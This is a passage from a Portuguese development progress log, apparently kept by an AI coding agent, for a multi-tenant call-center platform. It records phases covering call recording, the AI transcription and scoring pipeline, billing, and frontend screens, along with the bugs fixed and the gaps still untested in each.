arquivos que `fs-events` escreve (mesmo padrão de `REDIS_URL`)
|
||
- [x] `apps/predictive-dialer`: `RECORD_STEREO=true` +
|
||
`execute_on_answer='record_session ...'` quando
|
||
`Campaign.recordingEnabled` — `origination_uuid` pré-gerado pra
|
||
poder montar o path de gravação antes do originate
|
||
- [x] `apps/freeswitch-events/src/recording.ts`: em CALL_ENDED (encadeado
|
||
depois do CDR terminar, não em paralelo — evita a mesma corrida já
|
||
corrigida na fase CDR), sobe a gravação, cria `Recording`
|
||
(`retentionUntil` a partir de `Plan.recordingRetentionDays`), apaga
|
||
o spool local
|
||
- [x] `GET /recordings`, `GET /recordings/:id`, `GET /recordings/:id/audio`
|
||
(stream autenticado, nunca URL direta pro storage)
|
||
- [x] Retenção (secao 94): `runRetentionSweep` no boot do `apps/api` + a
|
||
cada hora — apaga o objeto, marca `status=DELETED` (linha nunca
|
||
apagada, fica como auditoria)
|
||
- [x] **Bug real, achado no teste desta fase**: `Recording.sizeBytes`
|
||
(BigInt) quebrava `GET /recordings` com 500 — Fastify não serializa
|
||
BigInt nativamente (mesma classe de bug já corrigida uma vez no
|
||
logger). Corrigido convertendo pra `number` na resposta.
|
||
- [x] Testado ponta a ponta: gravação real criada (RIFF WAVE, PCM 16-bit,
|
||
ESTÉREO 8000Hz — RECORD_STEREO confirmado), upload com path exato da
|
||
secao 93, download via API com md5 idêntico ao objeto original,
|
||
varredura de retenção apagando objeto + status DELETED + list/
|
||
download bloqueados depois
|
||
- [ ] Chamadas manuais/internas não são gravadas — só o caminho do
|
||
discador tem originate próprio
|
||
- [ ] `max_recording_storage_gb` (Plan) existe mas não é aplicado
|
||
- [ ] Transcrição (secao 95+, fase IA) — implementado parcialmente na
|
||
PHASE 19 (só o Provider Layer; pipeline/transcrição real na PHASE 20)
|
||
|
||
## PHASE 19 — IA: Provider Layer (agente.md secao 95-103)
|
||
- [x] Schema completo do módulo de IA numa única migration (todas as
|
||
tabelas das secoes 95-124: providers/models/prompts/jobs/
|
||
transcriptions/analyses/scorecards/usage) — código só pro Provider
|
||
Layer nesta fase, resto vem em fases separadas
|
||
- [x] `packages/ai`: interface `AIProvider` (secao 96, nunca hardcoda
|
||
OpenAI no domínio), `OpenAIProvider`/`AnthropicProvider` (secao
|
||
97-98, nomenclatura "OpenAI API"/"Anthropic API" nunca "ChatGPT"),
|
||
`SensitiveDataRedactor` (secao 123, CPF/CNPJ/telefone/email/cartão)
|
||
- [x] **Nunca exercitados contra rede real**: adapters OpenAI/Anthropic —
|
||
esta sessão só tem autorização de rede pro servidor git (restrição
|
||
desde o primeiro pedido do usuário)
|
||
- [x] `ai_providers`/`ai_models`: global (platform admin, visível de
|
||
qualquer tenant) vs. BYOK (secao 100-101) — RLS híbrida (`tenant_id
|
||
= current OR tenant_id IS NULL`, mesma técnica de
|
||
`tenant_memberships` no login), escrita em GLOBAL exige
|
||
`isPlatformUser` na camada de serviço, key nunca reexposta
|
||
(`apiKeyPreview`)
|
||
- [x] **Bug real, achado no teste desta fase**: delete de provider fazia
|
||
hard delete, bloqueado por FK quando um `AIModel` (mesmo
|
||
soft-deleted) ainda referenciava — inconsistente com o resto do
|
||
sistema (tudo soft delete). Corrigido; `GET /ai/providers` também
|
||
não filtrava desabilitados, corrigido junto.
|
||
- [x] **Bug real, achado no teste do redactor**: `\b` antes de `\(?`
|
||
opcional falha quando o char anterior também não é de palavra
|
||
(espaço + `(`) — vazava um parêntese solto. Corrigido com `(?<!\w)`.
|
||
- [x] Testado ponta a ponta com 2 tenants + platform admin: GLOBAL só
|
||
platform admin cria/apaga, BYOK isolado por RLS (tenant B nunca vê
|
||
BYOK do tenant A, 404 em id direto), modelo de provider GLOBAL
|
||
visível dos dois tenants, redactor com 5 tipos de dado sensível
|
||
- [x] Pipeline assíncrono pós-CALL_ENDED, transcrição/análise/prompts —
|
||
PHASE 20 (scorecards/usage metering completo ficam pra PHASE 21)
|
||
|
||
## PHASE 20 — IA: Pipeline (agente.md secao 104-116) — ver docs/AI_PIPELINE.md
|
||
- [x] `packages/ai`: `privacy.ts` (cascata Tenant>Queue>Campaign, secao
|
||
122), `retry.ts` (backoff exponencial + dead-letter, secao 108),
|
||
`call-analysis-schema.ts` (schema JSON + validação manual do
|
||
resultado, secao 112-113), `wav-stereo-split.ts` (parser WAV RIFF
|
||
próprio, separa estéreo em 2 mono pra transcrever cada canal
|
||
independente, sem depender de diarização probabilística nem ffmpeg)
|
||
- [x] `apps/freeswitch-events/src/ai-trigger.ts`: decide (entitlement do
|
||
Plan + cascata de privacidade, as duas precisam passar) se uma
|
||
gravação recém-`AVAILABLE` vira um `AIJob(TRANSCRIPTION)` —
|
||
encadeado em `recording.ts` logo após `Recording.create`
|
||
- [x] `packages/entitlements`: `isFeatureEnabled` (versão não-lançante de
|
||
`assertFeatureEnabled`, pra decisões em background)
|
||
- [x] `apps/ai-worker` (serviço novo, Docker): tick poll com `FOR UPDATE
|
||
SKIP LOCKED` (mesmo padrão de `lead-reservation.ts`), resolve
|
||
provider/modelo (BYOK do tenant > GLOBAL da plataforma, primeira
|
||
capability compatível), processa TRANSCRIPTION (baixa do object
|
||
storage, separa estéreo, transcreve os 2 canais, persiste
|
||
`CallTranscription`+`CallTranscriptSegment`+`AIUsageRecord`,
|
||
encadeia ANALYSIS se a privacidade permitir) e ANALYSIS (resolve
|
||
`AIPromptTemplate` com override de Campaign, redige dados sensíveis
|
||
SEMPRE antes de mandar pro provider — independente do nível de
|
||
privacidade, que só controla SE roda —, valida o resultado, persiste
|
||
`CallAIAnalysis`+3 `AIUsageRecord`)
|
||
- [x] `apps/api/src/ai/ai-prompts.controller.ts`: CRUD de
|
||
`AIPromptTemplate`/`AIPromptVersion` (secao 114-116), mesma RLS
|
||
híbrida GLOBAL/tenant dos providers/models; versões nunca editadas
|
||
in-place, `activeVersionId` aponta pra qual está em uso
|
||
- [x] Testado ponta a ponta contra o `b2bcall-ai-worker` real (não mocks)
|
||
e Postgres real com RLS: cascata de privacidade+entitlement em 3
|
||
cenários reais (permissivo→job criado, tenant AI_OFF→nada,
|
||
privacidade OK mas Plan sem IA→nada), WAV sintético real gravado no
|
||
object storage + `Recording` real + `AIJob` real reservado via SKIP
|
||
LOCKED pelo worker, download+split+resolução de provider
|
||
bem-sucedidos, chamada de rede real tentada contra loopback fechado
|
||
(nunca saiu da máquina), falha real, retry com backoff de 30s,
|
||
dead-letter exatamente na tentativa configurada; `processAnalysisJob`
|
||
com transcrição semeada manualmente seguiu o mesmo caminho até a
|
||
falha de rede esperada
|
||
- [ ] **Nunca exercitado**: chamada de rede real contra OpenAI/Anthropic
|
||
(mesma restrição de rede desde o Provider Layer); encadeamento
|
||
automático TRANSCRIPTION→ANALYSIS a partir de uma transcrição
|
||
*bem-sucedida* (só testável a partir de uma transcrição semeada
|
||
manualmente, já que nenhuma chamada real completa sem rede);
|
||
convenção de canal 0=cliente/1=agente contra áudio real
|
||
distinguível (só tons sintéticos)
|
||
- [x] Scorecards/QA (secao 117-118) e Dashboard IA (secao 119) — PHASE 21
|
||
(Usage Metering completo/reports de custo, secao 124, fica pra
|
||
quando a fase Billing começar — os `AIUsageRecord` já são gravados
|
||
desde a PHASE 20, só falta o relatório em cima deles)
|
||
|
||
## PHASE 21 — IA: Scorecards/QA/Dashboard (agente.md secao 117-119) — ver
|
||
docs/QUALITY_SCORECARDS.md
|
||
- [x] `QualityScorecard`/`QualityScorecardItem`/`QualityEvaluation` já
|
||
existiam desde a migration `ai_module` (PHASE 19) — só faltava
|
||
código; sem lista fixa de critérios hardcoded (secao 117), cada
|
||
tenant define os seus (`weight`/`description`/`evaluation_prompt`)
|
||
- [x] Novo `AIJobType.SCORECARD_EVALUATION` (migration
|
||
`20260828194146_ai_job_scorecard_evaluation`, só `ALTER TYPE ...
|
||
ADD VALUE`, sem RLS pra mexer)
|
||
- [x] `apps/api/src/quality/quality-scorecards.controller.ts`: CRUD
|
||
(create com items aninhados numa tacada só, list, soft delete)
|
||
- [x] `apps/ai-worker/src/process-scorecard.ts`: avalia contra TODOS os
|
||
scorecards habilitados do tenant (uma `QualityEvaluation` por
|
||
scorecard, não só o primeiro), prompt montado dinamicamente a
|
||
partir dos itens de cada um, JSON Schema
|
||
(`QUALITY_EVALUATION_JSON_SCHEMA`) só define a FORMA da resposta
|
||
(score + mapa de criterionScores) já que as chaves variam por
|
||
scorecard; nunca guarda chain-of-thought (secao 118, explícito),
|
||
redige dados sensíveis sempre antes de sair pro provider
|
||
- [x] Encadeado a partir de `process-transcription.ts`, junto com
|
||
ANALYSIS: mesma decisão de privacidade + exige pelo menos 1
|
||
scorecard habilitado (senão nem cria o job)
|
||
- [x] `GET /reports/ai-dashboard` (secao 119): chamadas analisadas, score
|
||
médio (2 conceitos diferentes — `avgQualityScore` de
|
||
`CallAIAnalysis` e `avgScorecardScore` de `QualityEvaluation`, a
|
||
especificação não distingue os dois), sentimento, principais
|
||
assuntos/objeções, compliance alerts, ranking de agentes
|
||
- [x] Testado ponta a ponta contra o `b2bcall-ai-worker` real e Postgres
|
||
real com RLS: scorecard real com 2 critérios criado via API,
|
||
`processScorecardJob` montou o prompt a partir dos itens reais,
|
||
resolveu provider, redigiu o texto, tentou rede real (loopback
|
||
fechado), falhou como esperado; job `SCORECARD_EVALUATION` real
|
||
reservado via SKIP LOCKED, retry+dead-letter corretos; endpoints
|
||
novos confirmados no ar (401 sem token, não 404)
|
||
- [ ] **Nunca exercitado**: chamada de rede real contra OpenAI/Anthropic
|
||
(mesma restrição de todo o módulo de IA); uma `QualityEvaluation`
|
||
completando de verdade (só via dead-letter, sem rede real)
|
||
|
||
## PHASE 22 — Usage Metering / Billing (agente.md secao 120-139) — ver
|
||
docs/BILLING.md
|
||
- [x] Migration `billing` (`PlanVersion`/`TenantSubscription`/`PriceBook`+
|
||
`PriceBookItem`/`RateDeck`+`RateDeckEntry`/`UsageEvent`/
|
||
`RatedUsageItem`/`BillingPeriod`/`BillingStatement`+
|
||
`BillingStatementItem`, RLS nas tenant-scoped) e `packages/billing`
|
||
(`RatingEngine` puro: longest-prefix match, rating por destino/
|
||
fallback plano, prorateio de dias ativos, tokens/transcrição de IA,
|
||
armazenamento) já existiam de uma sessão anterior interrompida —
|
||
só a orquestração (I/O) e os endpoints faltavam
|
||
- [x] `apps/api/src/billing/billing-engine.service.ts`:
|
||
`closeBillingPeriod`/`reopenBillingPeriod` — lê os 2 ledgers
|
||
imutáveis (`UsageEvent`+`AIUsageRecord`) ainda não tarifados
|
||
(`ratedUsageItems: { none: {} }`), grava 1 `RatedUsageItem` por
|
||
evento (nunca agrega antes de ratear), soma `PLAN_BASE` da
|
||
`TenantSubscription` ativa, agrega por categoria em
|
||
`BillingStatementItem`. Fechamento imutável (secao 137): `CLOSED`
|
||
de novo é 409, só reopen explícito (audit trail) permite recalcular
|
||
- [x] Escritores do ledger `UsageEvent`: `CALL_SECONDS` em
|
||
`apps/freeswitch-events/src/cdr.ts::finalizeCall` (mesma transação
|
||
do CDR); `EXTENSION_ACTIVE_DAY`/`AGENT_ACTIVE_DAY`/
|
||
`TRUNK_ACTIVE_DAY` em `apps/api/src/billing/active-day-sweep.ts`
|
||
(boot + hora em hora, idempotente por dia)
|
||
- [x] Controllers: `PriceBooksController`/`RateDecksController`/
|
||
`PlanVersionsController` (catálogo global, `pricing.manage` +
|
||
`isPlatformUser`), `SubscriptionsController`/
|
||
`BillingPeriodsController` (`billing.manage` + `isPlatformUser`,
|
||
`tenantId` explícito no body — ação de platform admin sobre um
|
||
tenant arbitrário), `BillingStatementsController` (`billing.view`,
|
||
sempre o próprio tenant do JWT)
|
||
- [x] **Bug real, achado no teste desta fase**: `reopenBillingPeriod` lia
|
||
o período sem tenant context — `billing_periods` tem FORCE RLS,
|
||
então a leitura nunca via a linha e "not found" virava 500 em vez
|
||
de 404. Corrigido exigindo `tenantId` explícito no reopen (igual ao
|
||
close) e lendo dentro de `withTenantContext`.
|
||
- [x] **Bug real, achado no teste desta fase**: `SubscriptionsController`
|
||
criava/lia `TenantSubscription` sem `withTenantContext` — RLS
|
||
rejeitava o create e o list sempre voltava vazio. Corrigido.
|
||
- [x] Teste unitário do `RatingEngine` (`packages/billing`, 17 casos,
|
||
`pnpm --filter @b2bcall/billing run test`) + testado ponta a ponta
|
||
contra a API real e Postgres real com RLS: período fechado com 8
|
||
`RatedUsageItem`s (chamada, 3 dias de ramal ativo, transcrição,
|
||
análise, tokens de entrada/saída) e total batendo exatamente com o
|
||
cálculo manual; fechar 2x = 409; reopen + reclose reusa os itens já
|
||
tarifados; reopen com tenant errado = 404 (RLS isolando de
|
||
verdade); tenant admin sem role de plataforma barrado (403) de
|
||
fechar mas lista as próprias statements normalmente;
|
||
`runActiveDaySweep` chamado 2x no mesmo dia sem duplicar
|
||
- [ ] **Lacuna real, conhecida**: `Call.calledNumber` ainda não é
|
||
populado pelo CDR (PHASE 17) — `CALL_SECONDS` sempre usa o fallback
|
||
plano (`CALL_MINUTE`), nunca o `RateDeck` por destino real
|
||
(`longestPrefixMatch`/`rateCallByDestination` só testados
|
||
isoladamente, não ponta a ponta)
|
||
- [ ] `RECORDING_BYTES` usa o storage atual no momento do fechamento como
|
||
proxy do período inteiro (sem histórico de tamanho por dia) —
|
||
decisão documentada em docs/BILLING.md, não uma média ponderada
|
||
- [ ] Reajuste de preço no meio de um período aberto (2 vigências
|
||
sobrepostas de `PriceBookItem`/`RateDeckEntry`) nunca exercitado
|
||
- [x] UI de platform admin pra price book/rate deck — PHASE 23. Ainda sem
|
||
UI pra criar tenant/plano/assinatura (não há nem endpoint de listagem
|
||
de tenants) — só via API/script direto.
|
||
|
||
## PHASE 23 — Frontend: app shell, login, dashboard, Billing > Tarifas
|
||
(agente.md secao 161-176)
|
||
- [x] `apps/frontend` (Next.js 15 App Router, React 19, Tailwind,
|
||
TanStack Query/Table instalados mas não usados ainda, Recharts,
|
||
Lucide) — primeiro commit do frontend
|
||
- [x] Design tokens (secao 165) derivados do logo real: navy/azul/teal,
|
||
light+dark+system (`ThemeToggle`, classe em `<html>` +
|
||
`localStorage`, lido antes do primeiro paint pra não piscar)
|
||
- [x] Login (secao 167): split brand/form, sessão em cookie httpOnly
|
||
(`/api/login`, `/api/logout`) — o access token nunca chega a
|
||
JS legível no browser (`apiFetch` só roda em Server
|
||
Component/Server Action, nunca no client)
|
||
- [x] Shell Platform (secao 166, 168): sidebar fixa colapsável + topbar +
|
||
conteúdo, IA completa dos 2 menus renderizada (itens sem página
|
||
viram "em breve", nunca link morto) — implementação de referência
|
||
do design system (Product Principle #5)
|
||
- [x] Dashboard "Visão Geral" (secao 163): `InstrumentTile` com leitura
|
||
tipo painel/instrumento (mono, tabular), `value === null` vira
|
||
traço fantasma com explicação (`pending`) em vez de fingir "0" —
|
||
nunca um número inventado (secao 138)
|
||
- [x] Billing > Tarifas (primeira tela CRUD real, contra a API de billing
|
||
da PHASE 22): price books + rate decks — listagem com busca/
|
||
ordenação client-side, criação com itens/entradas dinâmicos via
|
||
Server Actions (`"use server"`, chamadas como função direto do
|
||
client component, não `<form action>` — precisa de arrays
|
||
dinâmicos), detalhe. Testado ponta a ponta contra a API real:
|
||
criar price book pela UI de verdade → redirect pro detalhe → volta
|
||
pra lista com o item novo, contagem e badge "Padrão" corretos
|
||
- [x] **Bug real, achado nesta fase**: a topbar tinha o título fixo
|
||
"Visão Geral da Plataforma" em toda página (Tarifas mostrava o
|
||
título errado). Corrigido com `getPageMeta(pathname)` resolvendo
|
||
título/descrição pelo item de menu ativo (casa pelo href mais
|
||
longo, então uma subrota tipo `/price-books/:id` ainda resolve pro
|
||
item de menu certo).
|
||
- [x] **Bug real, achado nesta fase**: a sidebar fixa de 256px não tinha
|
||
nenhuma versão mobile — abaixo de `lg` o conteúdo ficava espremido
|
||
em ~130px (secao 175: o próprio celular do agente precisa
|
||
funcionar). Corrigido com `MobileNavDrawer` (Radix Dialog, foco
|
||
preso + Escape + fecha ao navegar) reaproveitando a mesma
|
||
`NavList` da sidebar desktop — uma correção no shell compartilhado,
|
||
beneficia toda página existente e futura.
|
||
- [x] Testado em navegador de verdade (Puppeteer + Chrome headless,
|
||
instalado nesta sessão pra isso — sem extensão de browser
|
||
disponível): desktop 1440px + mobile 390px, light + dark, fluxo de
|
||
criação real ponta a ponta. Screenshots em
|
||
`apps/frontend/.impeccable/review/`.
|
||
- [ ] Consumo/Fechamentos/Relatórios (as outras 3 abas de Billing) e
|
||
Clientes/Infraestrutura/IA/Sistema inteiros ainda ficam "em breve"
|
||
— dependem de um seletor de tenant real, e não existe endpoint de
|
||
listagem de tenants ainda (nem tenant CRUD) pra construir um
|
||
- [ ] Sem paginação de servidor/coluna-visível/bulk-actions/export nas
|
||
tabelas de Tarifas (secao 173 pede em toda tabela) — decisão
|
||
deliberada pra um catálogo global de poucas dezenas de linhas,
|
||
documentada no rodapé da própria tela; reavaliar se isso deixar de
|
||
ser verdade
|
||
- [ ] TanStack Query/Table instalados, ainda não usados — Tarifas busca
|
||
tudo server-side (Server Component) e filtra/ordena no client com
|
||
`useState`/`useMemo` puro, sem cache de query; suficiente pro
|
||
tamanho de catálogo atual
|
||
|
||
## PHASE 24 — Frontend: shell compartilhado, fluxo de login multi-tenant,
|
||
app do Tenant + Dashboard (agente.md secao 162, 169)
|
||
- [x] **Bug real, achado nesta fase**: o fluxo de login sempre mandava
|
||
pra `/platform`, mesmo pra um usuário que não é platform admin —
|
||
nunca chamava `/auth/tenants`/`select-tenant`. Corrigido com
|
||
`POST /api/post-login` (Route Handler server-side): decide
|
||
platform vs tenant, e no caso de 1 tenant só já troca o access
|
||
token (`select-tenant`) antes de redirecionar — o client nunca vê
|
||
token nenhum. Mais de 1 tenant vai pra `/select-tenant` (nova
|
||
página, `TenantPicker` + Server Action `chooseTenant`).
|
||
- [x] `GET /auth/me` agora inclui `tenant: {id, code, name} | null`
|
||
(nome do tenant ativo do JWT) — precisa pra topbar/sidebar do app
|
||
do tenant mostrarem de quem é a conta.
|
||
- [x] `apps/platform/layout.tsx` e `apps/app/layout.tsx` (novo) se
|
||
protegem mutuamente: platform admin sem tenant ativo cai em
|
||
`/platform`; qualquer um tentando `/platform` sem
|
||
`isPlatformUser` cai em `/app`; sem tenant ativo nenhum e sem ser
|
||
platform admin cai em `/select-tenant`.
|
||
- [x] Shell refatorado pra ser compartilhado (`components/shell/`:
|
||
`Sidebar`/`Topbar`/`MobileNavDrawer`/`NavList`/`getPageMeta`,
|
||
parametrizados por `items: NavSection[]`) — o menu Platform
|
||
(secao 168) e o menu Tenant (secao 169, `tenant-shell/nav-data.ts`)
|
||
usam a mesma implementação, só os dados mudam.
|
||
- [x] **Bug real, achado nesta fase**: passar `PLATFORM_NAV`/`TENANT_NAV`
|
||
(array com `icon: LucideIcon`, ou seja funções) como prop de um
|
||
Server Component (`layout.tsx`) pra um Client Component
|
||
(`Sidebar`/`Topbar`) quebra a serialização RSC ("Functions cannot
|
||
be passed directly to Client Components"). Corrigido com
|
||
wrappers client-only por área (`platform-sidebar.tsx`/
|
||
`platform-topbar.tsx`/`tenant-sidebar.tsx`/`tenant-topbar.tsx`)
|
||
que importam o nav-data direto (nunca recebem como prop vindo do
|
||
server) — só dados serializáveis (strings) cruzam a fronteira.
|
||
- [x] `GET /reports/dashboard` (novo, agente.md secao 162): leitura ao
|
||
vivo (não aceita `from`/`to` como o resto de `ReportsController`)
|
||
— chamadas hoje/atendidas/em andamento/esperando agente, agentes
|
||
por estado (disponível/ocupado/pausado via `AgentState`), TME/TMA/
|
||
answer rate/abandon rate do dia, "Consumo do plano" (chamadas hoje
|
||
vs `Plan.maxDailyCalls` — decisão desta implementação, a
|
||
especificação não define o que "consumo" significa aqui) e "Valor
|
||
estimado no mês" (null até existir `BillingStatement` do mês
|
||
corrente — mesma disciplina de honestidade do
|
||
`PlatformOverviewController`, nunca um valor calculado ad hoc fora
|
||
do RatingEngine).
|
||
- [x] Dashboard do tenant (`/app`) consumindo esse endpoint, mesmo
|
||
`InstrumentTile`/ghost-dash da PHASE 23.
|
||
- [x] Testado ponta a ponta com um tenant real semeado
|
||
(`admin@acme.b2bcall.local`, tenant "Acme Call Center", plano
|
||
trial): login → `/app` direto (1 tenant só); platform admin
|
||
continua indo pra `/platform` (regressão confirmada); tenant admin
|
||
tentando `/platform` é mandado de volta pra `/app`; dashboard
|
||
mostra zeros reais (nenhuma chamada/agente ainda) com os textos
|
||
`pending` corretos, "Consumo do plano" mostra `0 de 200 hoje`
|
||
batendo com `maxDailyCalls` do plano trial; drawer mobile abre e
|
||
fecha corretamente; dark mode conferido. Screenshots em
|
||
`apps/frontend/.impeccable/review/`.
|
||
- [ ] Menu Tenant fora Dashboard/Telefonia > Ramais (Discador/Call
|
||
Center/Troncos/Dialplan/Monitoramento/Gravações/IA/Relatórios/
|
||
Administração) ainda "em breve"
|
||
- [ ] "Itens sem permissão não aparecem" (secao 169) não é aplicado
|
||
ainda — a IA do tenant aparece inteira pra qualquer usuário
|
||
autenticado do tenant, independente das permissions reais dele
|
||
|
||
## PHASE 25 — Frontend: Telefonia > Ramais (agente.md secao 39-40, 169,
|
||
178)
|
||
- [x] `POST /extensions/:id/reset-password` (novo endpoint) — só forma
|
||
de "editar" a senha SIP é gerar uma nova e mostrar ela UMA vez
|
||
(mesmo caminho da criação, secao 39: nunca reexpor a existente).
|
||
`b2bcall-fs-config` resolve o directory ao vivo por request, sem
|
||
arquivo/sync intermediário — um `UPDATE` já é suficiente, sem
|
||
precisar notificar nada.
|
||
- [x] Tela `/app/telefonia/ramais`: listagem com busca/ordenação (mesmo
|
||
padrão client-side da Tarifas), criação (número, nome, caller ID)
|
||
com reveal da senha SIP gerada (`SecretReveal`, novo componente:
|
||
aviso + valor monoespaçado + copiar), detalhe com "Redefinir
|
||
senha" (confirmação inline de 2 cliques, sem modal) e "Remover
|
||
ramal" (zona de risco, mesma confirmação inline, soft delete).
|
||
Cada tela deixa explícito de qual tenant os ramais são (nome do
|
||
tenant na descrição da lista e no cabeçalho do detalhe) — pedido
|
||
explícito do usuário, além do isolamento por RLS que já existia.
|
||
- [x] **Bug real, achado nesta fase**: `apiFetch` (frontend) sempre
|
||
mandava `Content-Type: application/json` mesmo em requests sem
|
||
body (`POST .../reset-password`, `DELETE`) — o parser de body do
|
||
Fastify rejeita body vazio com esse header ("Body cannot be empty
|
||
when content-type is set to 'application/json'"), então toda
|
||
ação sem payload quebrava com 400. Nunca tinha aparecido antes
|
||
porque Tarifas só fazia POST com body. Corrigido: o header só vai
|
||
quando `init.body` existe de verdade — provavelmente afeta outras
|
||
ações futuras sem payload, não só Ramais.
|
||
- [x] Testado ponta a ponta com o tenant real (Acme Call Center):
|
||
criar ramal 1500 → senha revelada uma vez → ver detalhe → redefinir
|
||
senha → nova senha diferente da original confirmada → voltar pra
|
||
lista (1 ramal, badge "Ativo") → remover → lista vazia de novo.
|
||
Dark mode e mobile conferidos.
|
||
- [ ] Editar outros campos (nome, caller ID, contexto, registros) ainda
|
||
não existe — nem no backend (só create/get/list/delete/reset-
|
||
password) nem no frontend; só a senha tem "edição" por enquanto,
|
||
conforme pedido
|
||
- [ ] Quota de ramais (`maxExtensions`) já é aplicada pelo backend desde
|
||
a PHASE 14, mas a UI não mostra consumo/limite antes de tentar
|
||
criar — o erro 403 apareceria só depois do submit
|
||
|
||
## PHASE 26 — Frontend: Discador > Campanhas (agente.md secao 63-86, 170)
|
||
- [x] Tela `/app/discador/campanhas`: listagem com busca + filtro de
|
||
status + ordenação, `StatusBadge` (já existia desde o design
|
||
system da Tarifas, criado exatamente pra status de campanha —
|
||
só faltava `WAITING_SCHEDULE`, adicionado). Nomes de fila/tronco
|
||
resolvidos client-side (a lista busca `/queues`+`/trunks` junto,
|
||
sem precisar mudar o backend). Aviso explícito quando o tenant
|
||
ainda não tem fila+tronco (pré-requisito real pra criar
|
||
qualquer campanha).
|
||
- [x] Wizard de criação em 7 passos, exatamente como a especificação
|
||
nomeia (secao 170): Geral → Telefonia → Discagem → Horários →
|
||
Gravação e IA → Leads → Revisão. Nada é criado até confirmar na
|
||
Revisão (`POST /campaigns` e, se um CSV foi anexado no passo
|
||
Leads, `POST /campaigns/:id/leads/import` na mesma ação — a
|
||
campanha nunca fica "meio criada" se o import falhar, só reporta
|
||
o problema). Upload de CSV lido no browser via `FileReader`
|
||
(endpoint espera o CSV cru no body, não multipart).
|
||
- [x] Detalhe da campanha: `StatusBadge` + ações de ciclo de vida
|
||
(Iniciar/Pausar/Drenar/Parar, cada botão só aparece quando a
|
||
transição é válida pro status atual — mesma tabela
|
||
`ALLOWED_TRANSITIONS` do backend, duplicada no client só pra
|
||
UI, o backend segue sendo a autoridade), pacing ao vivo (`GET
|
||
/campaigns/:id/stats`), configuração completa, prévia de leads
|
||
(até 20, com import adicional) e remover (zona de risco, só
|
||
quando parada).
|
||
- [x] **Bug real, achado nesta fase**: `startCampaign`/`pauseCampaign`/
|
||
`drainCampaign`/`stopCampaign` eram `const x = (id) =>
|
||
transition(...)` — Next.js exige que toda Server Action exportada
|
||
seja uma `async function` de verdade, não uma arrow function que
|
||
apenas retorna uma Promise (erro de build: "Server Actions must
|
||
be async functions"). Corrigido; útil lembrar em qualquer ação
|
||
futura que só repassa argumentos pra outra função.
|
||
- [x] **Achado sistêmico, não é bug novo**: `@@unique([tenantId, name])`
|
||
em `Campaign` não exclui `deletedAt` — não dá pra reusar o nome
|
||
de uma campanha apagada, mesma classe de problema já documentada
|
||
pra Agent/Extension/Trunk/Queue/PauseReason na PHASE 12.
|
||
- [x] Testado ponta a ponta contra a API real com fila+tronco reais
|
||
(semeados via API pro tenant Acme): os 7 passos do wizard
|
||
preenchidos e revisados (screenshot da Revisão confere cada
|
||
valor), campanha criada com CSV de 3 leads importado (`imported:
|
||
3, total: 3` batendo), ciclo de vida completo start→pause→
|
||
drain→stop→delete confirmado via API, e confirmado que uma
|
||
campanha iniciada de verdade é pega pelo `PredictiveDialerEngine`
|
||
real rodando em Docker (stats deixam de ser null depois de
|
||
alguns segundos — `answerProbability`/`pacingFactor` reais
|
||
aparecem na tela, não só o placeholder "sem tentativas ainda").
|
||
- [ ] `Discador > Leads` (tela dedicada, fora do wizard/detalhe) e
|
||
`Importações` continuam "em breve" — a prévia de leads no
|
||
detalhe da campanha cobre o básico, mas não pagina nem edita
|
||
leads individualmente
|
||
- [ ] O detalhe da campanha não escuta o WebSocket de monitoramento
|
||
(secao 161) — `stats`/`callsInFlight` só atualizam ao recarregar
|
||
a página, não em tempo real
|
||
|
||
## PHASE 27 — Frontend: Call Center > Filas/Pausas/Disposições, Telefonia >
|
||
Troncos, Discador > Lista de Bloqueio (agente.md secao 50-51, 41-42, 71,
|
||
89, 169)
|
||
- [x] 5 telas novas, mesmo padrão de listagem+form inline+remoção com
|
||
confirmação de 2 cliques já usado em Ramais/Tarifas: `/app/callcenter/
|
||
filas`, `/app/callcenter/pausas`, `/app/callcenter/disposicoes`,
|
||
`/app/telefonia/troncos`, `/app/discador/bloqueio` — todas contra
|
||
endpoints que já existiam desde as fases de backend (Queues/
|
||
PauseReasons/Dispositions/Trunks/Suppression), nenhum endpoint novo
|
||
precisou ser criado
|
||
- [x] `lib/callcenter-types.ts` (novo): tipos `Queue`/`Trunk`/`PauseReason`/
|
||
`Disposition`/`SuppressionEntry` compartilhados entre as 5 telas
|
||
- [x] `StatusBadge` ganhou o mapa de `TrunkStatus` (UP/REGISTERED/DOWN/
|
||
TRYING/FAILED/UNREGISTERED/UNKNOWN) — mesmo componente usado por
|
||
Campanhas, sem colisão de chave com `CampaignStatus`
|
||
- [x] `nav-data.ts`: as 5 rotas saem de "em breve" pra link real; resta só
|
||
Agentes (Call Center), Dialplan (Telefonia), Leads/Importações/
|
||
Callbacks (Discador) "em breve" no menu Tenant
|
||
- [x] **Bug real, achado testando a tela de Pausas**:
|
||
`PauseReasonsController.list()` era o único endpoint do arquivo sem
|
||
filtro `enabled: true` — um motivo removido (soft delete) nunca
|
||
sumia da listagem. Corrigido.
|
||
- [x] Testado ponta a ponta contra a API real (tenant Acme) depois de
|
||
reerguer `apps/api` e `apps/frontend` do zero pós-reboot da VM (ver
|
||
"Riscos conhecidos" — os dois rodam direto no host, fora do
|
||
docker-compose, e não voltam sozinhos): criar fila/pausa/disposição/
|
||
tronco/bloqueio de número → aparece na lista com os dados certos →
|
||
remover com confirmação de 2 cliques → lista volta ao estado vazio.
|
||
Screenshots em `apps/frontend/.impeccable/review/`.
|
||
- [ ] Editar campos existentes (só create/list/delete em todas as 5,
|
||
mesma limitação já documentada em Ramais) — nenhum backend novo tem
|
||
PATCH/PUT ainda
|
||
- [ ] Tronco: `Trunk.status` continua sem atualização automática em
|
||
produção (lacuna já documentada na PHASE 09/TRUNKS.md) — a tela só
|
||
exibe o `StatusBadge`, não força refresh nem faz polling
|
||
- [ ] Dark mode e mobile não foram capturados nesta fase (só desktop
|
||
light, mesma decisão de escopo das últimas telas simples) —
|
||
reavaliar junto com a Sidebar quando "Agentes" ganhar tela própria
|
||
|
||
## PHASE 28 — Segurança, testes de regressão, Frontend: Relatórios
|
||
(agente.md secao 157-160, 119, 183-184, 202, 224)
|
||
- [x] **Security quality gate (secao 224)**: review dedicado (subagente
|
||
independente) sobre o diff completo desde `origin/main` (billing
|
||
orchestration + todo o frontend novo, 7 commits) — auth/sessão,
|
||
todos os controllers NestJS tocados, `permission.guard.ts`, RLS da
|
||
migration de billing, todas as Server Actions novas do frontend.
|
||
**Nenhum achado com confiança >= 7/10** (nem IDOR, nem bypass de
|
||
tenant, nem segredo vazado em resposta/log). Ver seção "Auditoria de
|
||
segurança" no relatório desta sessão (não persistida em arquivo —
|
||
